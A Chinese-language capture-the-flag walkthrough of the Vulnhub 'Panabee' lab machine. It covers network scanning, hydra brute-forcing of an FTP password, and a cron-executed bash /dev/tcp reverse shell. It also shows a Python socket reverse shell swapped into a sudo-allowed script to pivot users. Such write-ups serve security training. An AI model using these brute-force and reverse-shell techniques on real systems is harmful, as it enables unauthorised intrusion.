Vulnhub之Panabee靶机详细测试过程

networksecurity

Panabee
识别目标主机IP地址

1. (kali㉿kali)-[~/Desktop/Vulnhub/Panabee]
   
2. └─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
   
3. Currently scanning: 192.168.56.0/24   |   Screen View: Unique Hosts                                                        
   
4.                                                                                                                            
   
5. 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                            
   
6. _____________________________________________________________________________
   
7.    IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
   
8. -----------------------------------------------------------------------------
   
9. 192.168.56.1    0a:00:27:00:00:11      1      60  Unknown vendor                                                           
   
10. 192.168.56.100  08:00:27:cd:98:c4      1      60  PCS Systemtechnik GmbH                                                   
    
11. 192.168.56.228  08:00:27:2b:99:a3      1      60  PCS Systemtechnik GmbH                                                   
    
12. 
    

复制代码

利用Kali Linux的netdiscover工具识别目标主机IP地址为192.168.56.228
NMAP扫描

1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Panabee]
   
2. └─$ sudo nmap -sS -sV -sC -p- 192.168.56.228 -oN nmap_full_scan
   
3. Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-22 23:21 EDT
   
4. Nmap scan report for bogon (192.168.56.228)
   
5. Host is up (0.00011s latency).
   
6. Not shown: 65529 closed tcp ports (reset)
   
7. PORT    STATE SERVICE     VERSION
   
8. 21/tcp  open  ftp         vsftpd 3.0.3
   
9. 22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
   
10. | ssh-hostkey:
    
11. |   3072 dc:e1:e6:86:ba:cd:4c:1c:e8:92:c4:02:90:64:d8:ba (RSA)
    
12. |   256 00:72:c6:61:0e:34:1b:1a:b4:6c:f8:fc:b3:25:7b:6c (ECDSA)
    
13. |_  256 16:24:5b:97:20:ad:7d:ec:c4:fc:19:a5:3d:3c:cc:13 (ED25519)
    
14. 25/tcp  open  smtp        Postfix smtpd
    
15. | ssl-cert: Subject: commonName=panabee
    
16. | Subject Alternative Name: DNS:panabee
    
17. | Not valid before: 2020-06-14T18:25:48
    
18. |_Not valid after:  2030-06-12T18:25:48
    
19. |_ssl-date: TLS randomness does not represent time
    
20. |_smtp-commands: panabee, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
    
21. 80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
    
22. |_http-server-header: Apache/2.4.41 (Ubuntu)
    
23. |_http-title: Apache2 Ubuntu Default Page: It works
    
24. 139/tcp open  netbios-ssn Samba smbd 4.6.2
    
25. 445/tcp open  netbios-ssn Samba smbd 4.6.2
    
26. MAC Address: 08:00:27:2B:99:A3 (Oracle VirtualBox virtual NIC)
    
27. Service Info: Host:  panabee; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
    
28. Host script results:
    
29. |_clock-skew: 7h59m58s
    
30. |_nbstat: NetBIOS name: PANABEE, NetBIOS user: unknown, NetBIOS MAC: unknown (unknown)
    
31. | smb2-time:
    
32. |   date: 2023-03-23T11:21:52
    
33. |_  start_date: N/A
    
34. | smb2-security-mode:
    
35. |   3.1.1:
    
36. |_    Message signing enabled but not required
    
37. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    
38. Nmap done: 1 IP address (1 host up) scanned in 18.16 seconds
    
39.                                                                  
    

复制代码

获得Shell

1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Panabee]
   
2. └─$ smbclient //192.168.56.228/note      
   
3. Password for [WORKGROUP\kali]:
   
4. Try "help" to get a list of possible commands.
   
5. smb: \ ls
   
6.   .                                   D        0  Sun Jun 14 23:08:42 2020
   
7.   ..                                  D        0  Mon Jun 15 04:59:44 2020
   
8.   note.txt                            N      265  Sun Jun 14 23:08:42 2020
   
9.                 20508240 blocks of size 1024. 12823536 blocks available
   
10. smb: \ get note.txt
    
11. getting file \note.txt of size 265 as note.txt (2.3 KiloBytes/sec) (average 2.3 KiloBytes/sec)
    
12. smb: \ put test.txt
    
13. putting file test.txt as \test.txt (2.3 kb/s) (average 2.3 kb/s)
    
14. smb: \ ls -alh
    
15. NT_STATUS_NO_SUCH_FILE listing \-alh
    
16. smb: \ ls
    
17.   .                                   D        0  Thu Mar 23 07:23:20 2023
    
18.   ..                                  D        0  Mon Jun 15 04:59:44 2020
    
19.   test.txt                            A       12  Thu Mar 23 07:23:20 2023
    
20.   note.txt                            N      265  Sun Jun 14 23:08:42 2020
    
21.                 20508240 blocks of size 1024. 12823528 blocks available
    

复制代码

可以通过SMB上传文件

1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Panabee]
   
2. └─$ cat note.txt      
   
3. Dear goper,
   
4. I'll just leave it here as a note,
   
5. Sorry for the late response,
   
6. The server will now `backup` you files in your home dir,
   
7. go ahead and backup anything you like, server will do it for you.
   
8. Please delete this note once you've read for security measure
   

复制代码

[ol]

goper是用户名？

有计划任务在执行？（定期备份文件）
[/ol]

1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Panabee]
   
2. └─$ nikto -h http://192.168.56.228
   
3. - Nikto v2.1.6
   
4. ---------------------------------------------------------------------------
   
5. + Target IP:          192.168.56.228
   
6. + Target Hostname:    192.168.56.228
   
7. + Target Port:        80
   
8. + Start Time:         2023-03-22 23:25:23 (GMT-4)
   
9. ---------------------------------------------------------------------------
   
10. + Server: Apache/2.4.41 (Ubuntu)
    
11. + The anti-clickjacking X-Frame-Options header is not present.
    
12. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
    
13. + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
    
14. + No CGI Directories found (use '-C all' to force check all possible dirs)
    
15. + Server may leak inodes via ETags, header found with file /, inode: 2aa6, size: 5a81bc478475f, mtime: gzip
    
16. + Allowed HTTP Methods: HEAD, GET, POST, OPTIONS
    
17. + 7915 requests: 0 error(s) and 5 item(s) reported on remote host
    
18. + End Time:           2023-03-22 23:25:52 (GMT-4) (29 seconds)
    
19. ---------------------------------------------------------------------------
    
20. + 1 host(s) tested
    
21. 
    
22.       *********************************************************************
    
23.       Portions of the server's headers (Apache/2.4.41) are not in
    
24.       the Nikto 2.1.6 database or are newer than the known string. Would you like
    
25.       to submit this information (*no server specific data*) to CIRT.net
    
26.       for a Nikto update (or you may email to sullo@cirt.net) (y/n)?
    

复制代码

目录扫描没有什么收获，接下来用hydra来破解密码

1. ──(kali㉿kali)-[~/Desktop/Vulnhub/Panabee]
   
2. └─$ hydra -l goper -P /usr/share/wordlists/rockyou.txt ftp://192.168.56.228         
   
3. Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
   
4. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-22 23:38:08
   
5. [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
   
6. [DATA] attacking ftp://192.168.56.228:21/
   
7. [21][ftp] host: 192.168.56.228   login: goper   password: spiderman
   
8. 1 of 1 target successfully completed, 1 valid password found
   
9. Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-22 23:39:08
   

复制代码

[code]┌──(kali㉿kali)-[~/Desktop/Vulnhub/Panabee]
└─$ ftp 192.168.56.228        
Connected to 192.168.56.228.
220 (vsFTPd 3.0.3)
Name (192.168.56.228:kali): goper
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp ls -alh
229 Entering Extended Passive Mode (

reply4

8003|)
150 Here comes the directory listing.
drwxrwxr-x    4 1000     118          4096 Jun 21  2020 .
drwxrwxr-x    4 1000     118          4096 Jun 21  2020 ..
-rw-------    1 1000     1000         4591 Jun 21  2020 .bash_history
-rw-r--r--    1 1000     1000          220 Feb 25  2020 .bash_logout
-rw-r--r--    1 1000     1000         3771 Feb 25  2020 .bashrc
drwx------    2 1000     1000         4096 Jun 14  2020 .cache
drwxrwxr-x    3 1000     1000         4096 Jun 15  2020 .local
-rw-r--r--    1 1000     1000          807 Feb 25  2020 .profile
-rw-rw-r--    1 1000     1000           66 Jun 15  2020 .selected_editor
-rw-r--r--    1 1000     1000            0 Jun 14  2020 .sudo_as_admin_successful
-rw-------    1 1000     1000        11134 Jun 15  2020 .viminfo
-rw-r--r--    1 0        1000          332 Jun 15  2020 status.py
226 Directory send OK.
ftp pwd
Remote directory: /
ftp get status.py
local: status.py remote: status.py
229 Entering Extended Passive Mode (

reply4

59411|)
150 Opening BINARY mode data connection for status.py (332 bytes).
100% |*********************************************************************************|   332        2.25 KiB/s    00:00 ETA
226 Transfer complete.
332 bytes received in 00:00 (2.23 KiB/s)
ftp put test.txt
local: test.txt remote: test.txt
229 Entering Extended Passive Mode (

reply2

13323|)
150 Ok to send data.
100% |*********************************************************************************|    12      221.10 KiB/s    00:00 ETA
226 Transfer complete.
12 bytes sent in 00:00 (8.87 KiB/s)
ftp
[/code]
似乎在goper的家目录，因此可以将ssh公钥上传到目标主机

1. ──(kali㉿kali)-[~/Desktop/Vulnhub/Panabee]
   
2. └─$ ssh-keygen              
   
3. Generating public/private rsa key pair.
   
4. Enter file in which to save the key (/home/kali/.ssh/id_rsa): goper
   
5. Enter passphrase (empty for no passphrase):
   
6. Enter same passphrase again:
   
7. Your identification has been saved in goper
   
8. Your public key has been saved in goper.pub
   
9. The key fingerprint is:
   
10. SHA256:3+QFgFMWB+8pvT4RzyAYwi8m6G0MyrXVJolWXxFpj4c kali@kali
    
11. The key's randomart image is:
    
12. +---[RSA 3072]----+
    
13. |     .   =Xo.    |
    
14. |     .o += +     |
    
15. |   .o +oo++ o    |
    
16. |  o+.+o+oE.=oo   |
    
17. |.oo+ooo.S o.==.  |
    
18. |....+    . =.oo  |
    
19. |   .      . +.   |
    
20. |           ..    |
    
21. |            ..   |
    
22. +----[SHA256]-----+
    
23.                                                                                                                               
    
24. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Panabee]
    
25. └─$ ls     
    
26. goper  goper.pub  nmap_full_scan  note.txt  status.py  test.txt
    

复制代码

[code]ftp mkdir .ssh
257 "/.ssh" created
ftp cd .ssh
250 Directory successfully changed.
ftp put authorized_keys
local: authorized_keys remote: authorized_keys
229 Entering Extended Passive Mode (

reply1

34675|)
150 Ok to send data.
100% |*********************************************************************************|   563       16.77 MiB/s    00:00 ETA
226 Transfer complete.
563 bytes sent in 00:00 (0.98 MiB/s)
ftp
[/code]

1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Panabee]
   
2. └─$ ssh -i goper goper@192.168.56.228         
   
3. The authenticity of host '192.168.56.228 (192.168.56.228)' can't be established.
   
4. ED25519 key fingerprint is SHA256:pA08zKKK15biAZhw/s1p7SqYmXtikdcPqTiWNiYSLwk.
   
5. This key is not known by any other names
   
6. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
   
7. Warning: Permanently added '192.168.56.228' (ED25519) to the list of known hosts.
   
8. goper@192.168.56.228: Permission denied (publickey).
   
9.                                                                            
   

复制代码

但是目标并不允许基于私钥登录，这条路行不通
写一个bash脚本上传到ftp也就是goper的家目录，看能不能被自动执行

1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Panabee]
   
2. └─$ cat shell.sh
   
3. bash -i & /dev/tcp/192.168.56.146/5555 0&1
   

复制代码

这个bash脚本名称应该是backup.sh，才回cron执行
[code]ftp put backup.sh
local: backup.sh remote: backup.sh
229 Entering Extended Passive Mode (

reply4

10215|)
150 Ok to send data.
100% |*********************************************************************************|    57      869.75 KiB/s    00:00 ETA
226 Transfer complete.
57 bytes sent in 00:00 (45.43 KiB/s)
[/code]

1. ─$ sudo nc -nlvp 5555
   
2. listening on [any] 5555 ...
   
3. connect to [192.168.56.146] from (UNKNOWN) [192.168.56.228] 45726
   
4. bash: cannot set terminal process group (3520): Inappropriate ioctl for device
   
5. bash: no job control in this shell
   
6. goper@panabee:~$ pwd
   
7. pwd
   
8. /home/goper
   
9. goper@panabee:~$ ls -alh
   
10. ls -alh
    
11. total 72K
    
12. drwxrwxr-x 5 goper ftp   4.0K Mar 23 11:57 .
    
13. drwxr-xr-x 4 root  root  4.0K Jun 15  2020 ..
    
14. -rwx--x--x 1 goper goper   57 Mar 23 11:57 backup.sh
    
15. -rw------- 1 goper goper 4.5K Jun 21  2020 .bash_history
    
16. -rw-r--r-- 1 goper goper  220 Feb 25  2020 .bash_logout
    
17. -rw-r--r-- 1 goper goper 3.7K Feb 25  2020 .bashrc
    
18. drwx------ 2 goper goper 4.0K Jun 14  2020 .cache
    
19. drwxrwxr-x 3 goper goper 4.0K Jun 15  2020 .local
    
20. -rw-r--r-- 1 goper goper  807 Feb 25  2020 .profile
    
21. -rw-rw-r-- 1 goper goper   66 Jun 15  2020 .selected_editor
    
22. -rw------- 1 goper goper   57 Mar 23 11:54 shell.sh
    
23. drwx------ 2 goper goper 4.0K Mar 23 11:43 .ssh
    
24. -rw-r--r-- 1 root  goper  332 Jun 15  2020 status.py
    
25. -rw-r--r-- 1 goper goper    0 Jun 14  2020 .sudo_as_admin_successful
    
26. -rw------- 1 goper goper   12 Mar 23 11:40 test.txt
    
27. -rw------- 1 goper goper  11K Jun 15  2020 .viminfo
    
28. goper@panabee:~$ sudo -l
    
29. sudo -l
    
30. Matching Defaults entries for goper on panabee:
    
31.     env_reset, mail_badpass,
    
32.     secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
    
33. User goper may run the following commands on panabee:
    
34.     (jenny) NOPASSWD: /usr/bin/python3 /home/goper/status.py
    

复制代码

可以将原有的status.py删除，然后通过FTP上传反弹shell的python脚本，从而得到jenny的shell

1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Panabee]
   
2. └─$ vim status.py        
   
3.                                                                                                                               
   
4. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Panabee]
   
5. └─$ cat status.py
   
6. python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.146",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
   

复制代码

1. goper@panabee:~$ rm -rf status.py
   
2. rm -rf status.py
   

复制代码

[code]ftp put status.py
local: status.py remote: status.py
229 Entering Extended Passive Mode (

reply1

26655|)
150 Ok to send data.
100% |*********************************************************************************|   232        3.35 MiB/s    00:00 ETA
226 Transfer complete.
232 bytes sent in 00:00 (167.32 KiB/s)
ftp
[/code]

1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Panabee]
   
2. └─$ cat status.py
   
3. import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.146",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
   
4.                                                                                                 
   

复制代码

1. goper@panabee:~$ sudo -u jenny /usr/bin/python3 /home/goper/status.py
   
2. sudo -u jenny /usr/bin/python3 /home/goper/status.py
   
3. /usr/bin/python3: can't open file '/home/goper/status.py': [Errno 13] Permission denied
   
4. goper@panabee:~$ chmod 777 status.py
   
5. chmod 777 status.py
   
6. goper@panabee:~$ sudo -u jenny /usr/bin/python3 /home/goper/status.py
   
7. sudo -u jenny /usr/bin/python3 /home/goper/status.py
   

复制代码

1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Panabee]
   
2. └─$ sudo nc -nlvp 8888
   
3. listening on [any] 8888 ...
   
4. connect to [192.168.56.146] from (UNKNOWN) [192.168.56.228] 59108
   
5. $ id
   
6. uid=1001(jenny) gid=1001(jenny) groups=1001(jenny)
   
7. $ which python3
   
8. /usr/bin/python3
   
9. $ python3 -c 'import pty;pty.spawn("/bin/bash")'
   
10. jenny@panabee:/home/goper$ cd /home
    
11. cd /home
    
12. jenny@panabee:/home$ ls -alh
    
13. ls -alh
    
14. total 16K
    
15. drwxr-xr-x  4 root  root  4.0K Jun 15  2020 .
    
16. drwxr-xr-x 20 root  root  4.0K Jun 15  2020 ..
    
17. drwxrwxr-x  5 goper ftp   4.0K Mar 23 12:08 goper
    
18. drwx------  3 jenny jenny 4.0K Jun 15  2020 jenny
    
19. jenny@panabee:/home$ cd jenny
    
20. cd jenny
    
21. jenny@panabee:~$ ls -alh
    
22. ls -alh
    
23. total 40K
    
24. drwx------ 3 jenny jenny 4.0K Jun 15  2020 .
    
25. drwxr-xr-x 4 root  root  4.0K Jun 15  2020 ..
    
26. -rw------- 1 jenny jenny 2.0K Jun 30  2020 .bash_history
    
27. -rw-r--r-- 1 jenny jenny  220 Feb 25  2020 .bash_logout
    
28. -rw-r--r-- 1 jenny jenny 3.7K Feb 25  2020 .bashrc
    
29. -rw------- 1 jenny jenny   32 Jun 15  2020 .lesshst
    
30. -rw-r--r-- 1 jenny jenny  807 Feb 25  2020 .profile
    
31. -rw-rw-r-- 1 jenny jenny   13 Jun 15  2020 status.txt
    
32. -rw-r--r-- 1 root  root   213 Jun 15  2020 thanks_jenny
    
33. drwxrwxr-x 2 root  jenny 4.0K Jun 30  2020 .tmux-0
    

复制代码

从.bash_history知道有个secret.zip文件，将其下载到Kali Linux本地
但是破解失败，本靶机的提权需要利用.tmux进行

1. 
   

复制代码

提权

1. cd /root
   
2. # ls -alh
   
3. ls -alh
   
4. total 80K
   
5. drwx------  5 root root 4.0K Jun 30  2020 .
   
6. drwxr-xr-x 20 root root 4.0K Jun 15  2020 ..
   
7. -rw-------  1 root root  18K Jun 30  2020 .bash_history
   
8. -rw-r--r--  1 root root 3.1K Dec  5  2019 .bashrc
   
9. drwx------  2 root root 4.0K Jun 14  2020 .cache
   
10. -rw-------  1 root root   38 Jun 30  2020 .lesshst
    
11. drwxr-xr-x  3 root root 4.0K Jun 14  2020 .local
    
12. -rw-r--r--  1 root root  161 Dec  5  2019 .profile
    
13. -rw-r--r--  1 root root  239 Jun 15  2020 proof.txt
    
14. -rw-r--r--  1 root root   66 Jun 15  2020 .selected_editor
    
15. drwx------  2 root root 4.0K Jun 14  2020 .ssh
    
16. -rw-------  1 root root  13K Jun 21  2020 .viminfo
    
17. __                  __   ___  ___   
    
18. |__)  /\  |\ |  /\  |__) |__  |__     
    
19. |    /~~\ | \| /~~\ |__) |___ |___   
    
20.                                       
    

复制代码